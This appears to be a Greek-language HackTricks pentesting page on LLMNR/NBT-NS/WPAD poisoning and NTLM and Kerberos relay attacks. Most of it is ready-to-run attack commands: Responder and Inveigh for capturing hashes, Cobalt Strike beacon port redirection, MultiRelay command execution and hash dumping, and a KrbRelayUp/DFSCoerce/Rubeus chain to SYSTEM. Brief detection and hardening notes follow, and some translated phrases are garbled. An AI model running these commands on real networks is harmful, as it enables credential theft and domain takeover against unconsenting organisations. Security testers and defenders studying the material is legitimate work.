Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reading time: 12 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Network Protocols
Local Host Resolution Protocols
- LLMNR, NBT-NS, and mDNS:
- Η Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική ανάλυση ονομάτων όταν αποτυγχάνει το DNS. Ομοίως, τα συστήματα της Apple και του Linux χρησιμοποιούν mDNS.
- Αυτά τα πρωτόκολλα είναι ευάλωτα σε παρεμβολές και spoofing λόγω της μη αυθεντικοποιημένης, ραδιοφωνικής φύσης τους μέσω UDP.
- Responder μπορεί να χρησιμοποιηθεί για να προσποιηθεί υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που ρωτούν αυτά τα πρωτόκολλα.
- Περαιτέρω πληροφορίες σχετικά με την προσποίηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν εδώ.
Web Proxy Auto-Discovery Protocol (WPAD)
- Το WPAD επιτρέπει στους περιηγητές να ανακαλύπτουν αυτόματα τις ρυθμίσεις του proxy.
- Η ανακάλυψη διευκολύνεται μέσω DHCP, DNS ή εναλλακτικά μέσω LLMNR και NBT-NS αν αποτύχει το DNS.
- Το Responder μπορεί να αυτοματοποιήσει επιθέσεις WPAD, κατευθύνοντας τους πελάτες σε κακόβουλους διακομιστές WPAD.
Responder for Protocol Poisoning
- Responder είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας υπηρεσίες SMB.
- Έρχεται προεγκατεστημένο στο Kali Linux, ρυθμιζόμενο στο
/etc/responder/Responder.conf
. - Το Responder εμφανίζει τις καταγεγραμμένες κατακερματισμένες τιμές στην οθόνη και τις αποθηκεύει στον κατάλογο
/usr/share/responder/logs
. - Υποστηρίζει τόσο IPv4 όσο και IPv6.
- Η έκδοση Windows του Responder είναι διαθέσιμη εδώ.
Running Responder
- Για να τρέξετε το Responder με προεπιλεγμένες ρυθμίσεις:
responder -I <Interface>
- Για πιο επιθετική αναζήτηση (με πιθανές παρενέργειες):
responder -I <Interface> -P -r -v
- Τεχνικές για την καταγραφή προκλήσεων/απαντήσεων NTLMv1 για ευκολότερη διάσπαση:
responder -I <Interface> --lm --disable-ess
- Η προσποίηση WPAD μπορεί να ενεργοποιηθεί με:
responder -I <Interface> --wpad
- Οι αιτήσεις NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης:
responder.py -I <interface> -Pv
DHCP Poisoning with Responder
- Η πλαστογράφηση των απαντήσεων DHCP μπορεί να δηλητηριάσει μόνιμα τις πληροφορίες δρομολόγησης ενός θύματος, προσφέροντας μια πιο διακριτική εναλλακτική λύση από την δηλητηρίαση ARP.
- Απαιτεί ακριβή γνώση της διαμόρφωσης του δικτύου στόχου.
- Εκτέλεση της επίθεσης:
./Responder.py -I eth0 -Pdv
- Αυτή η μέθοδος μπορεί να καταγράψει αποτελεσματικά τους κατακερματισμούς NTLMv1/2, αλλά απαιτεί προσεκτική διαχείριση για να αποφευχθεί η διακοπή του δικτύου.
Capturing Credentials with Responder
- Το Responder θα προσποιηθεί υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, καταγράφοντας διαπιστευτήρια (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί σε κακόβουλες υπηρεσίες.
- Μπορούν να γίνουν προσπάθειες υποβάθμισης σε NetNTLMv1 ή απενεργοποίησης ESS για ευκολότερη διάσπαση διαπιστευτηρίων.
Είναι κρίσιμο να σημειωθεί ότι η χρήση αυτών των τεχνικών θα πρέπει να γίνεται νομίμως και ηθικά, εξασφαλίζοντας την κατάλληλη εξουσιοδότηση και αποφεύγοντας τη διακοπή ή μη εξουσιοδοτημένη πρόσβαση.
Inveigh
Το Inveigh είναι ένα εργαλείο για δοκιμαστές διείσδυσης και ομάδες κόκκινων, σχεδιασμένο για συστήματα Windows. Προσφέρει λειτουργίες παρόμοιες με το Responder, εκτελώντας επιθέσεις spoofing και man-in-the-middle. Το εργαλείο έχει εξελιχθεί από ένα script PowerShell σε ένα δυαδικό αρχείο C#, με Inveigh και InveighZero ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες μπορούν να βρεθούν στο wiki.
Το Inveigh μπορεί να λειτουργήσει μέσω PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Ή εκτελείται ως δυαδικό αρχείο C#:
Inveigh.exe
NTLM Relay Attack
Αυτή η επίθεση εκμεταλλεύεται τις συνεδρίες αυθεντικοποίησης SMB για να αποκτήσει πρόσβαση σε μια στοχοθετημένη μηχανή, παρέχοντας ένα σύστημα shell αν είναι επιτυχής. Οι βασικές προϋποθέσεις περιλαμβάνουν:
- Ο αυθεντικοποιούμενος χρήστης πρέπει να έχει πρόσβαση Local Admin στον αναμεταδιδόμενο υπολογιστή.
- Η υπογραφή SMB θα πρέπει να είναι απενεργοποιημένη.
445 Port Forwarding and Tunneling
Σε σενάρια όπου η άμεση εισαγωγή δικτύου δεν είναι εφικτή, η κίνηση στην πόρτα 445 πρέπει να προωθηθεί και να τούνελ. Εργαλεία όπως το PortBender βοηθούν στην ανακατεύθυνση της κίνησης της πόρτας 445 σε άλλη πόρτα, κάτι που είναι απαραίτητο όταν υπάρχει πρόσβαση local admin για τη φόρτωση οδηγών.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Άλλα Εργαλεία για Επίθεση NTLM Relay
- Metasploit: Ρυθμισμένο με proxies, λεπτομέρειες τοπικών και απομακρυσμένων hosts.
- smbrelayx: Ένα script Python για την αναμετάδοση SMB συνεδριών και την εκτέλεση εντολών ή την ανάπτυξη backdoors.
- MultiRelay: Ένα εργαλείο από τη σουίτα Responder για την αναμετάδοση συγκεκριμένων χρηστών ή όλων των χρηστών, την εκτέλεση εντολών ή την εξαγωγή hashes.
Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν χρειαστεί, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο.
Λειτουργία MultiRelay
Το MultiRelay εκτελείται από τον /usr/share/responder/tools φάκελο, στοχεύοντας συγκεκριμένες IP ή χρήστες.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Αυτά τα εργαλεία και οι τεχνικές σχηματίζουν ένα ολοκληρωμένο σύνολο για την εκτέλεση επιθέσεων NTLM Relay σε διάφορα δίκτυα.
Εξαναγκασμός NTLM Συνδέσεων
Στα Windows, μπορεί να είστε σε θέση να εξαναγκάσετε κάποιους προνομιούχους λογαριασμούς να αυθεντικοποιηθούν σε αυθαίρετες μηχανές. Διαβάστε την παρακάτω σελίδα για να μάθετε πώς:
Force NTLM Privileged Authentication
Επίθεση Kerberos Relay
Μια επίθεση Kerberos relay κλέβει ένα AP-REQ ticket από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το ίδιο κλειδί υπολογιστή (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής $
). Αυτό λειτουργεί ακόμη και αν οι κατηγορίες υπηρεσιών των SPNs διαφέρουν (π.χ. CIFS/
→ LDAP/
) επειδή το κλειδί που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής.
Σε αντίθεση με το NTLM relay, η μετάβαση περιορίζεται στην ίδια υποδοχή, αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράφετε σε LDAP, μπορείτε να συνδεθείτε σε Resource-Based Constrained Delegation (RBCD) ή AD CS enrollment και να αποκτήσετε NT AUTHORITY\SYSTEM με μία μόνο κίνηση.
Για λεπτομερείς πληροφορίες σχετικά με αυτή την επίθεση, ελέγξτε:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Βασικές έννοιες Kerberos
Token | Σκοπός | Σχέση με Relay |
---|---|---|
TGT / AS-REQ ↔ REP | Αποδεικνύει τον χρήστη στο KDC | ανέγγιχτο |
Service ticket / TGS-REQ ↔ REP | Συνδεδεμένο με ένα SPN; κρυπτογραφημένο με το κλειδί του κατόχου του SPN | αλληλένδετο αν τα SPNs μοιράζονται λογαριασμό |
AP-REQ | Ο πελάτης στέλνει TGS στην υπηρεσία | αυτό που κλέβουμε & επαναχρησιμοποιούμε |
- Τα εισιτήρια κρυπτογραφούνται με το κλειδί που προέρχεται από τον κωδικό πρόσβασης του λογαριασμού που κατέχει το SPN.
- Ο Authenticator μέσα στο AP-REQ έχει χρονική σφραγίδα 5 λεπτών; η επαναχρησιμοποίηση μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι να δει η προσωρινή μνήμη της υπηρεσίας ένα αντίγραφο.
- Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για
CIFS/HOST
συνήθως αποκρυπτογραφείται σωστά σεLDAP/HOST
.
-
- Τι πρέπει να είναι αληθινό για να γίνει relay Kerberos
- Κοινό κλειδί: οι πηγές και οι στόχοι SPNs ανήκουν στον ίδιο λογαριασμό υπολογιστή (προεπιλογή σε Windows servers).
- Καμία προστασία καναλιού: SMB/LDAP υπογραφή απενεργοποιημένη και EPA απενεργοποιημένη για HTTP/LDAPS.
- Μπορείτε να παγιδεύσετε ή να εξαναγκάσετε την αυθεντικοποίηση: LLMNR/NBNS δηλητηρίαση, DNS spoof, PetitPotam / DFSCoerce RPC, ψεύτικο AuthIP, κακόβουλο DCOM, κ.λπ..
- Η πηγή του εισιτηρίου δεν έχει ήδη χρησιμοποιηθεί: κερδίζετε τον αγώνα πριν το πραγματικό πακέτο φτάσει ή το αποκλείετε εντελώς; διαφορετικά, η προσωρινή μνήμη επαναχρησιμοποίησης του διακομιστή ενεργοποιεί το Event 4649.
- Πρέπει κάπως να μπορείτε να εκτελέσετε ένα MitM στην επικοινωνία, ίσως ανήκοντας στην ομάδα DNSAmins για να τροποποιήσετε το DNS του τομέα ή να μπορείτε να αλλάξετε το αρχείο HOST του θύματος.
Βήματα Kerberos Relay
- 3.1 Αναγνώριση της υποδοχής
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Ξεκινήστε τον δέκτη αναμετάδοσης
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
περιλαμβάνει KrbRelay → LDAP → RBCD → Rubeus → SCM bypass σε ένα εκτελέσιμο αρχείο.
- 3.3 Εξαναγκασμός αυθεντικοποίησης Kerberos
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce κάνει το DC να μας στείλει ένα Kerberos CIFS/DC01
εισιτήριο.
- 3.4 Μεταφορά του AP-REQ
Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε μια σύνδεση LDAP και το προωθεί στο ldap://DC01
—η αυθεντικοποίηση επιτυγχάνεται επειδή το ίδιο κλειδί το αποκρυπτογραφεί.
- 3.5 Κατάχρηση LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
You now own NT AUTHORITY\SYSTEM.
Περισσότεροι δρόμοι που αξίζει να γνωρίζετε
Vector | Trick | Why it matters |
---|---|---|
AuthIP / IPSec | Ψεύτικος διακομιστής στέλνει ένα GSS-ID payload με οποιοδήποτε SPN; ο πελάτης δημιουργεί ένα AP-REQ κατευθείαν σε εσάς | Λειτουργεί ακόμη και σε υποδίκτυα; διαπιστευτήρια μηχανής από προεπιλογή |
DCOM / MSRPC | Κακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύρα | Καθαρή τοπική εκμετάλλευση δικαιωμάτων; παρακάμπτει το τείχος προστασίας |
AD CS Web Enroll | Μεταβιβάστε το μηχάνημα εισιτηρίου σε HTTP/CA και αποκτήστε ένα πιστοποιητικό, στη συνέχεια PKINIT για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες υπογραφής LDAP |
Shadow Credentials | Γράψτε msDS-KeyCredentialLink , στη συνέχεια PKINIT με ψεύτικο ζεύγος κλειδιών | Δεν χρειάζεται να προσθέσετε έναν λογαριασμό υπολογιστή |
Αντιμετώπιση προβλημάτων
Error | Meaning | Fix |
---|---|---|
KRB_AP_ERR_MODIFIED | Κλειδί εισιτηρίου ≠ κλειδί στόχου | Λάθος host/SPN |
KRB_AP_ERR_SKEW | Ρολόι > 5 λεπτά απόκλιση | Συγχρονίστε την ώρα ή χρησιμοποιήστε w32tm |
Αποτυχία σύνδεσης LDAP | Η υπογραφή επιβάλλεται | Χρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή |
Spam Event 4649 | Η υπηρεσία είδε διπλό Authenticator | μπλοκάρετε ή αγωνιστείτε το αρχικό πακέτο |
Ανίχνευση
- Άνοδος σε Event 4769 για
CIFS/
,HTTP/
,LDAP/
από την ίδια πηγή εντός δευτερολέπτων. - Event 4649 στην υπηρεσία υποδεικνύει ανίχνευση επανάληψης.
- Η σύνδεση Kerberos από 127.0.0.1 (μεταφορά σε τοπικό SCM) είναι εξαιρετικά ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp.
- Παρακολουθήστε τις αλλαγές στα χαρακτηριστικά
msDS-AllowedToActOnBehalfOfOtherIdentity
ήmsDS-KeyCredentialLink
.
Σκληραγώγηση
- Επιβάλλετε την υπογραφή LDAP & SMB + EPA σε κάθε διακομιστή.
- Διαχωρίστε τα SPNs ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με το CIFS/LDAP.
- Ενημερώστε τα διακυβερνητικά διακυβερνητικά (PetitPotam KB5005413, DFS, AuthIP).
- Ορίστε
ms-DS-MachineAccountQuota = 0
για να σταματήσετε τις κακόβουλες προσχωρήσεις υπολογιστών. - Ειδοποιήστε για Event 4649 και απροσδόκητες συνδέσεις Kerberos loopback.
Αναφορές
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.